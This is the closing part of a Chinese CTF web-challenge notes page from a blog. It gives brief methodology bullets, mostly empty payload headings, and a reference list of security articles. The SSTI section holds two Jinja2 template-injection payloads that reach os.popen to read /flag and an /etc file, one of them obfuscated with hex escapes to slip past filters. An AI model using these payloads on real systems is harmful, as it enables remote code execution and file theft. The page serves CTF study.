<ul><li>寻找输入点</li><li>对针对输入点的过滤进行绕过</li><li>在处理输入的函数中寻找漏洞</li><li>进行利用</li></ul>
<h4><a name="t383"></a><a id="_4977"></a>大型代码</h4>
<ul><li>寻找危险函数</li><li>向上回溯 寻找可用输入点</li><li>尝试绕过过滤</li><li>寻找触发漏洞的方法</li></ul>
<h2><a name="t384"></a><a id="_4984"></a>脚本编写</h2>
<h2><a name="t385"></a><a id="Payloads_4986"></a>Payloads(实战积累)</h2>
<h3><a name="t386"></a><a id="XSS_4988"></a>XSS</h3>
<h3><a name="t387"></a><a id="SQL_4992"></a>SQL注入</h3>
<h3><a name="t388"></a><a id="SSTI_4996"></a>SSTI</h3>
<h4><a name="t389"></a><a id="Python_4998"></a>Python</h4>
<pre data-index="242" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">{<!-- -->{config|attr('\x5f\x5fcla'~'ss\x5f\x5f')|attr('\x5f\x5fini'~'t\x5f\x5f')|attr('\x5f\x5fglob'~'als\x5f\x5f')|attr('\x5f\x5fgeti'~'tem\x5f\x5f')('o'~'s')|attr('popen')('cat /etc/h????')|attr('read')()}}
?name={<!-- -->{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h4><a name="t390"></a><a id="PHP_5005"></a>PHP</h4>
<h4><a name="t391"></a><a id="Java_5007"></a>Java</h4>
<h3><a name="t392"></a><a id="CSRF_5009"></a>CSRF</h3>
<h3><a name="t393"></a><a id="XXE_5013"></a>XXE</h3>
<h2><a name="t394"></a><a id="_5017"></a>参考</h2>
<ol><li><a href="https://www.freebuf.com/articles/web/321768.html" rel="nofollow">CTF中PHP相关题目考点总结(上) - FreeBuf网络安全行业门户</a></li><li><a href="https://www.freebuf.com/articles/web/321769.html" rel="nofollow">CTF中PHP相关题目考点总结(下) - FreeBuf网络安全行业门户</a></li><li><a href="https://blog.csdn.net/qq_49480008/article/details/113753951">CTFshow web入门——php特性_小元砸的博客-CSDN博客_ctfshow web入门php特性</a></li><li><a href="https://blog.csdn.net/fageweiketang/article/details/89073662">Burp Collaborator 使用总结_aFa攻防实验室的博客-CSDN博客_burp collaborator</a> // TODO!!</li><li><a href="https://www.npfs06.top/2020/07/20/ctf%E4%B8%ADphp%E5%B8%B8%E8%A7%81%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93/" rel="nofollow">ctf中php常见知识点总结 | npfs’s blog (npfs06.top)</a></li><li><a href="https://www.jianshu.com/p/1ccbab572974" rel="nofollow">文件解析漏洞总结 - 简书 (jianshu.com)</a></li><li><a href="https://blog.csdn.net/Mitchell_Donovan/article/details/112911056">CTF文件上传漏洞总结_Mitch311的博客-CSDN博客</a></li><li><a href="https://www.cnblogs.com/loopkep/p/12101247.html" rel="nofollow">文件上传各种检测绕过 - 请叫我阿毛 - 博客园 (cnblogs.com)</a></li><li><a href="https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/" rel="nofollow">php文件包含漏洞 | Chybeta</a></li><li><a href="https://blog.csdn.net/qq_44657899/article/details/109300335">php://filter的各种过滤器_天问_Herbert555的博客-CSDN博客_php://filter rot13</a></li><li><a href="https://www.gem-love.com/2022/06/26/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E7%9A%84%E5%87%A0%E7%A7%8D%E4%B8%8D%E5%B8%B8%E8%A7%84%E5%88%A9%E7%94%A8%E5%A7%BF%E5%8A%BF/#undefined" rel="nofollow">CTF中文件包含的几种不常规利用姿势总结 | 颖奇L’Amore (gem-love.com)</a></li><li><a href="https://blog.csdn.net/jokerhappy/article/details/106765915">XSS学习思维导图_joker的暴击的博客-CSDN博客</a></li><li><a href="https://xz.aliyun.com/t/4067" rel="nofollow">XSS总结 - 先知社区 (aliyun.com)</a></li><li><a href="https://xz.aliyun.com/t/3679" rel="nofollow">flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)</a></li><li><a href="https://www.freebuf.com/articles/web/328222.html" rel="nofollow">CTF 对SSTI的一些总结 - FreeBuf网络安全行业门户</a></li><li><a href="https://www.freebuf.com/vuls/347865.html" rel="nofollow">PYTHON SSTI的一些BYPASS - FreeBuf网络安全行业门户</a></li><li><a href="https://blog.csdn.net/hackzkaq/article/details/120313571">CSRF知识总结_zkzq的博客-CSDN博客</a></li><li><a href="https://www.freebuf.com/articles/web/260806.html" rel="nofollow">CTF SSRF 漏洞从0到1 - FreeBuf网络安全行业门户</a></li><li><a href="https://blog.csdn.net/solitudi/article/details/112510010">CTFSHOW]SSRF_Y4tacker的博客-CSDN博客</a></li><li><a href="https://www.cnblogs.com/20175211lyz/p/11413335.html" rel="nofollow">CTF XXE - MustaphaMond - 博客园 (cnblogs.com)</a></li><li><a href="https://xz.aliyun.com/t/3741" rel="nofollow">利用EXCEL进行XXE攻击 - 先知社区 (aliyun.com)</a></li><li><a href="https://xz.aliyun.com/t/4059" rel="nofollow">绕过WAF保护的XXE - 先知社区 (aliyun.com)</a></li><li><a href="https://www.cnblogs.com/tomyyyyy/p/13905357.html" rel="nofollow">CTF中WEB题——RCE - tomyyyyy - 博客园 (cnblogs.com)</a></li><li><a href="https://www.freebuf.com/articles/web/253100.html" rel="nofollow">SQL注入速查表 - FreeBuf网络安全行业门户</a></li><li><a href="https://www.freebuf.com/articles/security-management/304250.html" rel="nofollow">sql注入总结 - FreeBuf网络安全行业门户</a></li><li><a href="https://www.freebuf.com/articles/web/329457.html" rel="nofollow">sql注入总结复习 - FreeBuf网络安全行业门户</a></li><li><a href="https://blog.csdn.net/solitudi/article/details/113588692">CTF-PHP反序列化总结_Y4tacker的博客-CSDN博客_ctf php反序列化</a></li><li><a href="https://www.freebuf.com/vuls/202819.html" rel="nofollow">利用session.upload_progress进行文件包含和反序列化渗透 - FreeBuf网络安全行业门户</a></li><li></li></ol>
</div><div data-report-view="{"mod":"1585297308_001","spm":"1001.2101.3001.6548","dest":"https://blog.csdn.net/yjprolus/article/details/122903841","extend1":"pc","ab":"new"}"><div></div></div>
<link href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/markdown_views-f23dff6052.css" rel="stylesheet">
<link href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/style-e504d6a974.css" rel="stylesheet">
</div>
</article>
<script>
$(function() {
setTimeout(function () {
var mathcodeList = document.querySelectorAll('.htmledit_views img.mathcode');
if (mathcodeList.length > 0) {
for (let i = 0; i < mathcodeList.length; i++) {
if (mathcodeList[i].complete) {
if (mathcodeList[i].naturalWidth === 0 || mathcodeList[i].naturalHeight === 0) {
var alt = mathcodeList[i].alt;
alt = '\\(' + alt + '\\)';
var curSpan = $('<span class="img-codecogs"></span>');
curSpan.text(alt);
$(mathcodeList[i]).before(curSpan);
$(mathcodeList[i]).remove();
}
} else {
mathcodeList[i].onerror = function() {
var alt = mathcodeList[i].alt;
alt = '\\(' + alt + '\\)';
var curSpan = $('<span class="img-codecogs"></span>');
curSpan.text(alt);
$(mathcodeList[i]).before(curSpan);
$(mathcodeList[i]).remove();
};
}
}
MathJax.Hub.Queue(["Typeset",MathJax.Hub]);
}
}, 500)
});
</script>
</div>
<div class="directory-boxshadow-dialog" style="display:none;">
<div class="directory-boxshadow-dialog-box">
</div>
<div class="vip-limited-time-offer-box-new" id="vip-limited-time-offer-box-new">
<img class="limited-img limited-img-new" src="https://csdnimg.cn/release/blogv2/dist/pc/img/vip-limited-close-newWhite.png">
<div class="vip-limited-time-top">
确定要放弃本次机会?
</div>
<span class="vip-limited-time-text">福利倒计时</span>
<div class="limited-time-box-new">
<span class="time-hour"></span>
<i>:</i>
<span class="time-minite"></span>
<i>:</i>
<span class="time-second"></span>
</div>
<div class="limited-time-vip-box">
<p>
<img class="coupon-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/vip-limited-close-roup.png">
<span class="def">立减 ¥</span>
<span class="active limited-num"></span>
</p>
<span class="">普通VIP年卡可用</span>
</div>
<a class="limited-time-btn-new" href="https://mall.csdn.net/vip" data-report-click="{"spm":"1001.2101.3001.9621"}" data-report-query="spm=1001.2101.3001.9621">立即使用</a>
</div>
</div> <div class="more-toolbox-new more-toolbox-active" id="toolBarBox">
<div class="left-toolbox" style="position: fixed; z-index: 999; left: 374px; bottom: 0px; width: 760px;">
<div class="toolbox-left">
<div class="profile-box">
<a class="profile-href" target="_blank" href="https://blog.csdn.net/yjprolus"><img class="profile-img" src="https://profile-avatar.csdnimg.cn/5e28ec52bc45424f8763db50bc3115af_yjprolus.jpg!1">
<span class="profile-name">
yjprolus
</span>
</a>
</div>
<div class="profile-attend">
<a class="tool-attend tool-bt-button tool-bt-attend" href="javascript:;">关注</a>
<a class="tool-item-follow active-animation" style="display:none;">关注</a>
</div>
</div>
<div class="toolbox-middle">
<ul class="toolbox-list">
<li class="tool-item tool-item-size tool-active is-like" id="is-like">
<a class="tool-item-href">
<img style="display:none;" id="is-like-imgactive-animation-like" class="animation-dom active-animation" src="https://csdnimg.cn/release/blogv2/dist/pc/img/tobarThumbUpactive.png" alt="">
<img class="isactive" style="display:none" id="is-like-imgactive" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newHeart2021Active.png" alt="">
<img class="isdefault" style="display:block" id="is-like-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newHeart2021Black.png" alt="">
<span id="spanCount" class="count ">
76
</span>
</a>
<div class="tool-hover-tip"><span class="text space">点赞</span></div>
</li>
<li class="tool-item tool-item-size tool-active is-unlike" id="is-unlike">
<a class="tool-item-href">
<img class="isactive" style="margin-right:0px;display:none" id="is-unlike-imgactive" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newUnHeart2021Active.png" alt="">
<img class="isdefault" style="margin-right:0px;display:block" id="is-unlike-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newUnHeart2021Black.png" alt="">
<span id="unlikeCount" class="count "></span>
</a>
<div class="tool-hover-tip"><span class="text space">踩</span></div>
</li>
<li class="tool-item tool-item-size tool-active is-collection ">
<a class="tool-item-href" href="javascript:;" data-report-click="{"mod":"popu_824","spm":"1001.2101.3001.4130","ab":"new"}">
<img style="display:none" id="is-collection-img-collection" class="animation-dom active-animation" src="https://csdnimg.cn/release/blogv2/dist/pc/img/tobarCollectionActive.png" alt="">
<img class="isdefault" id="is-collection-img" style="display:block" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCollectBlack.png" alt="">
<img class="isactive" id="is-collection-imgactive" style="display:none" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCollectActive.png" alt="">
<span class="count get-collection " data-num="701" id="get-collection">
701
</span>
</a>
<div class="tool-hover-tip collect">
<div class="collect-operate-box">
<span class="collect-text" id="is-collection">
收藏
</span>
</div>
</div>
<div class="tool-active-list">
<div class="text">
觉得还不错?
<span class="collect-text" id="tool-active-list-collection">
一键收藏
</span>
<img id="tool-active-list-close" src="https://csdnimg.cn/release/blogv2/dist/pc/img/collectionCloseWhite.png" alt="">
</div>
</div>
</li>
<li class="tool-item tool-item-size tool-active tool-item-reward">
<a class="tool-item-href" href="javascript:;" data-report-click="{"mod":"popu_830","spm":"1001.2101.3001.4237","dest":"","ab":"new"}">
<img class="isdefault reward-bt" id="rewardBtNew" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newRewardBlack.png" alt="打赏">
<span class="count"></span>
</a>
<div class="tool-hover-tip"><span class="text space">打赏</span></div>
</li>
<li class="tool-item tool-item-size tool-active tool-item-comment">
<a class="tool-item-href" href="#commentBox" data-report-click="{"spm":"1001.2101.3001.7009"}">
<img class="isdefault" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newComment2021Black.png" alt="">
<span class="count">
4
</span>
</a>
<div class="tool-hover-tip"><span class="text space">评论</span></div>
</li>
<li class="tool-item tool-item-bar">
</li>
<li class="tool-item tool-item-size tool-active tool-QRcode" data-type="article" id="tool-share">
<a class="tool-item-href" href="javascript:;" data-report-view="{"spm":"3001.4129","extra":{"type":"blogdetail"}}">
<img class="isdefault" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newShareBlack.png" alt="">
</a>
<div class="QRcode" id="tool-QRcode">
<div class="share-bg-box">
<div class="share-content">
<a id="copyPosterUrl" data-type="link" class="btn-share">复制链接</a>
</div>
<div class="share-content">
<a class="btn-share" data-type="qq">分享到 QQ</a>
</div>
<div class="share-content">
<a class="btn-share" data-type="weibo">分享到新浪微博</a>
</div>
<div class="share-code">
<div class="share-code-box" id="shareCode"><canvas width="120" height="120"></canvas><img style="display: none;"></div>
<div class="share-code-text">
<img src="https://csdnimg.cn/release/blogv2/dist/pc/img/share/icon-wechat.png" alt="">扫一扫
</div>
</div>
</div>
</div>
</li>
</ul>
</div>
<div class="toolbox-right">
<div class="tool-directory">
<a class="bt-columnlist-show" data-id="11506231" data-free="true" data-description="" data-subscribe="false" data-title="CTF" data-img="https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64" data-url="https://blog.csdn.net/yjprolus/category_11506231.html" data-sum="3" data-people="11" data-price="0" data-hotrank="0" data-status="true" data-oldprice="0" data-join="false" data-studyvip="false" data-studysubscribe="false" data-report-click="{"spm":"1001.2101.3001.6334","extend1":"专栏目录"}">专栏目录</a>
</div>
</div>
</div>
</div>
<script type="text/javascript" crossorigin="" src="https://csdnimg.cn/release/phoenix/production/qrcode-7c90a92189.min.js"></script>
<script type="text/javascript" crossorigin="" src="https://g.csdnimg.cn/common/csdn-login-box/csdn-login-box.js"></script>
<script type="text/javascript" crossorigin="" src="https://g.csdnimg.cn/collection-box/2.1.2/collection-box.js"></script> <div class="first-recommend-box recommend-box ">
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/qq_49399033/article/details/136239357" data-report-view="{"ab":"new","spm":"1001.2101.3001.6661.1","mod":"popu_871","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant_t0.none-task-blog-2~default~baidujs_utm_term~Ctr-1-136239357-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"1","strategy":"2~default~baidujs_utm_term~Ctr","dest":"https://blog.csdn.net/qq_49399033/article/details/136239357"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://blog.csdn.net/qq_49399033/article/details/136239357" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6661.1","mod":"popu_871","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant_t0.none-task-blog-2~default~baidujs_utm_term~Ctr-1-136239357-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"1","strategy":"2~default~baidujs_utm_term~Ctr","dest":"https://blog.csdn.net/qq_49399033/article/details/136239357"}" data-report-query="spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_utm_term%7ECtr-1-136239357-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_utm_term%7ECtr-1-136239357-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=1">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>SHOW <em>WEB</em> 01 - <em>WEB</em> 20 信息搜集篇 详解</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/qq_49399033" target="_blank" data-report-query="spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_utm_term%7ECtr-1-136239357-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_utm_term%7ECtr-1-136239357-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=1"><span class="blog-title">qq_49399033的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">02-22</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
2628
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://blog.csdn.net/qq_49399033/article/details/136239357" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6661.1","mod":"popu_871","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant_t0.none-task-blog-2~default~baidujs_utm_term~Ctr-1-136239357-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"1","strategy":"2~default~baidujs_utm_term~Ctr","dest":"https://blog.csdn.net/qq_49399033/article/details/136239357"}" data-report-query="spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_utm_term%7ECtr-1-136239357-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7Ebaidujs_utm_term%7ECtr-1-136239357-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=1">
<div class="desc ellipsis-online ellipsis-online-1">域名解析记录,也称为 DNS 记录,是保存在 DNS 服务器上的信息。它们将人类可读的网址(例如,[www.example.com)映射到机器可读的IP 地址(例如,192.0.2.1)。这是因为计算机和其他设备使用 IP 地址在互联网上找到和交流。A 记录:这是最常见的 DNS 记录类型,用于将域名映射到一个 IPv4 地址。AAAA 记录:这是 A 记录的 IPv6 版本,将域名映射到一个 IPv6 地址。CNAME 记录。</div>
</a>
</div>
</div>
</div>
</div>
<script src="https://csdnimg.cn/release/blogv2/dist/components/js/pc_wap_commontools-36438a370e.min.js" type="text/javascript" async=""></script>
<div class="second-recommend-box recommend-box ">
<div class="recommend-item-box type_blog clearfix" data-url="https://huaweicloud.csdn.net/638f1224dacf622b8df8e7e6.html" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.1","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~YuanLiJiHua~activity-1-126834664-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"1","strategy":"2~default~YuanLiJiHua~activity","dest":"https://huaweicloud.csdn.net/638f1224dacf622b8df8e7e6.html"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
<a href="https://huaweicloud.csdn.net/638f1224dacf622b8df8e7e6.html" class="tit" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.1","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~YuanLiJiHua~activity-1-126834664-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"1","strategy":"2~default~YuanLiJiHua~activity","dest":"https://huaweicloud.csdn.net/638f1224dacf622b8df8e7e6.html"}" data-report-query="spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7Eactivity-1-126834664-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7Eactivity-1-126834664-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=2">
<div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>中<em>Web</em><em>题</em>目的各种基础的<em>思路</em>-----入门篇十分的详细</div>
</a>
</div>
<div class="info-box display-flex">
<div class="info">
<a href="https://blog.csdn.net/m0_64815693" target="_blank" data-report-query="spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7Eactivity-1-126834664-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7Eactivity-1-126834664-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=2"><span class="blog-title">m0_64815693的博客</span></a>
</div>
<div class="info display-flex">
<span class="info-block time">09-13</span>
<span class="info-block read"><img class="read-img" src="https://csdnimg.cn/release/blogv2/dist/pc/img/readCountWhite.png" alt="">
3万+
</span>
</div>
</div>
</div>
<div class="desc-box">
<a href="https://huaweicloud.csdn.net/638f1224dacf622b8df8e7e6.html" target="_blank" data-report-click="{"ab":"new","spm":"1001.2101.3001.6650.1","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~YuanLiJiHua~activity-1-126834664-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"1","strategy":"2~default~YuanLiJiHua~activity","dest":"https://huaweicloud.csdn.net/638f1224dacf622b8df8e7e6.html"}" data-report-query="spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7Eactivity-1-126834664-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7Eactivity-1-126834664-blog-122903841.235%5Ev43%5Epc_blog_bottom_relevance_base4&utm_relevant_index=2">
<div class="desc ellipsis-online ellipsis-online-1">想学习<em>CTF</em>-<em>web</em>这里给你一个<em>思路</em>,给你一个方向</div>
</a>
</div>
</div>
</div>
</div>
<a id="commentBox" name="commentBox"></a>
<div id="pcCommentBox" class="comment-box comment-box-new2 unlogin-comment-box-new" style="display:none">
<div class="unlogin-comment-model">
<span class="unlogin-comment-tit">4 条评论</span>
<span class="unlogin-comment-text">您还未登录,请先</span>
<span class="unlogin-comment-bt">登录</span>
<span class="unlogin-comment-text">后发表或查看评论</span>
</div>
</div>
<div class="recommend-box insert-baidu-box recommend-box-style ">
<div class="recommend-item-box no-index" style="display:none"></div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/qq_53058639/article/details/129619482" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-129619482-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"0\"}","spm":"1001.2101.3001.4242.1","dest":"https://blog.csdn.net/qq_53058639/article/details/129619482","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"0"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/qq_53058639/article/details/129619482" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-129619482-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"0\"}","spm":"1001.2101.3001.4242.1","dest":"https://blog.csdn.net/qq_53058639/article/details/129619482","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"0"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-129619482-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.1&utm_relevant_index=3"> <div class="left ellipsis-online ellipsis-online-1"><em>CTF</em>—<em>WEB</em>基础篇</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-28</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/qq_53058639/article/details/129619482" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-129619482-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"0\"}","spm":"1001.2101.3001.4242.1","dest":"https://blog.csdn.net/qq_53058639/article/details/129619482","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"0"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-129619482-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.1&utm_relevant_index=3"> <div class="desc ellipsis-online ellipsis-online-1">JavaScript 是互联网上最流行的脚本语言,这门语言可用于 HTML 和 <em>web</em>,更可广泛用于服务器、PC、笔记本电脑、平板电脑和智能手机等设备。 作用 JavaScript 是脚本语言 JavaScript 是一种轻量级的编程语言。 JavaScript 是可插入 HTML 页面的编程代码。 JavaScript 插入 HTML 页面后,可由所有的现代浏览器执行。 </div> </a> </div> </div> </div><div class="recommend-item-box baiduSearch clearfix" data-url="https://blog.csdn.net/Libra1313/article/details/142635809" data-type="blog" data-report-view="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-142635809-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"0\"}","spm":"1001.2101.3001.4242.2","dest":"https://blog.csdn.net/Libra1313/article/details/142635809","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"1"}"> <div class="content-box"> <div class="content-blog display-flex"> <div class="title-box"> <a class="tit" href="https://blog.csdn.net/Libra1313/article/details/142635809" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-142635809-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"0\"}","spm":"1001.2101.3001.4242.2","dest":"https://blog.csdn.net/Libra1313/article/details/142635809","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"1"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-142635809-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.2&utm_relevant_index=4"> <div class="left ellipsis-online ellipsis-online-1">...零基础入门到精通,收藏这篇就够了_<em>ctf</em> <em>web</em>常见<em>题</em>型</div> </a> </div> <div class="info-box display-flex"> <div class="info display-flex"> <span class="info-block">11-27</span> </div> </div> </div> <div class="desc-box"> <a href="https://blog.csdn.net/Libra1313/article/details/142635809" target="_blank" data-report-click="{"mod":"popu_387","extra":"{\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-142635809-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\",\"parent_index\":\"0\"}","spm":"1001.2101.3001.4242.2","dest":"https://blog.csdn.net/Libra1313/article/details/142635809","strategy":"2~default~baidujs_baidulandingword~default","ab":"new","index":"1"}" data-report-query="utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1-142635809-blog-122903841.235^v43^pc_blog_bottom_relevance_base4&spm=1001.2101.3001.4242.2&utm_relevant_index=4"> <div class="desc ellipsis-online ellipsis-online-1">实验吧 头有点大: http://<em>ctf</em>5.shiyanbar.com/sHeader/ Bugku 程序员本地网站: http://123.206.87.240:8002/localhost/ Bugku 管理员系统: http://123.206.31.85:1003/ X<em>CTF</em> xff_referer:https://adworld.x<em>ctf</em>.org.cn/task/answer?type=<em>web</em>&number=3&grade=0&id=5068 === 三、Git源码泄露 flag一般在...</div> </a> </div> </div> </div>
<div class="recommend-item-box type_blog clearfix" data-url="https://blog.csdn.net/yy17111342926/article/details/142988399" data-report-view="{"ab":"new","spm":"1001.2101.3001.6650.2","mod":"popu_387","extra":"{\"highlightScore\":0.0,\"utm_medium\":\"distribute.pc_relevant.none-task-blog-2~default~YuanLiJiHua~Position-2-142988399-blog-122903841.235^v43^pc_blog_bottom_relevance_base4\",\"dist_request_id\":\"1732800313369_55253\"}","dist_request_id":"1732800313369_55253","ab_strategy":"landing_bge_commercial","index":"2","strategy":"2~default~YuanLiJiHua~Position","dest":"https://blog.csdn.net/yy17111342926/article/details/142988399"}">
<div class="content-box">
<div class="content-blog display-flex">
<div class="title-box">
